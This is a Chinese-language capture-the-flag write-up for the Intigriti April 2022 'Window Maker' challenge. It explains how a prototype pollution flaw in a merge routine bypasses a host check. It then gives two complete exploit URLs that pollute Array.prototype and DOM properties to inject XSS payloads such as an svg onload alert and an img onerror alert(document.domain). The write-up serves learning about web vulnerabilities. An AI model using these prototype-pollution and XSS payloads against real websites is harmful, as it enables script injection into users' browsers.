目录
一、环境
二、解题
2.1看源码
一、环境
Intigriti April Challenge
二、解题
要求:弹出域名就算成功
2.1看源码
我们看到marge方法,肯定是原型链污染题目
接的是传参,我们可控的点在于qs.config和qs.settings,这两个可控又可以覆盖原来的配置项
那我们得看checkHost怎么进来,匹配一下可以看到temp分割取端口号,hostname取域名
它们的两个值是数组,假如说appConfig["window-toolbar"][__proto__][1] = 8080,这样是不是可以把8080取出来,那我们的问题就到突破checkHost
JavaScript中,数组的下标可以⽤字符或是字符串数字来取值,所以在原型链中,我们可 以给[]对象添加⼀个名称为1的属性,这样 temp 在通过下标 1 取值的时候,实际上取到的 是数组中属性为 1 的值
[].constructor.prototype['1'] = 8080
//[1: 8080, constructor: ƒ, concat: ƒ, copyWithin: ƒ, fill: ƒ, find: ƒ, …]
那我们可以 利用这个数组突破checkHost,现在temp[1]的祖先1就等于8080
?config[window-toolbar][constructor][prototype][1]=8080
现在还有一个问题覆盖root为<svg>这个标签
https://challenge-0422.intigriti.io/challenge/Window%20Maker.html?config[window-toolbar][c
onstructor][prototype][1]=8080&settings[root][ownerDocument][body][children][1][outerHTML]
[1]=%3Csvg%20onload%3Dalert(1)%3E
我们可以看到已经被污染
最开始要取body但是只能取到main所以通过main一层层继承取到了,我们也看的很清最后取的svg再body下
那怎么污染的,我们通过结果看过程,最后因为svg是我们插进去的,在没有插进去之前div应该是第一个,相当于就是将root覆盖为了root,但是我们的命令在进去之前已经被js处理为数组了,所以最后[outerHTML]后面还有一个1去取payload
第二种解法原理一样:替换body
https://challenge-0422.intigriti.io/challenge/Window%20Maker.html?config[window-toolbar][c
onstructor][constructor][prototype][xd][s]=1&config[window-toolbar][constructor][constructor][constructor][prototype][xd][constructor][prototype][innerHTML][0]=%3Cimg%20src%3da%20onerror%3dalert(document.domain);alert%3dundefined%3E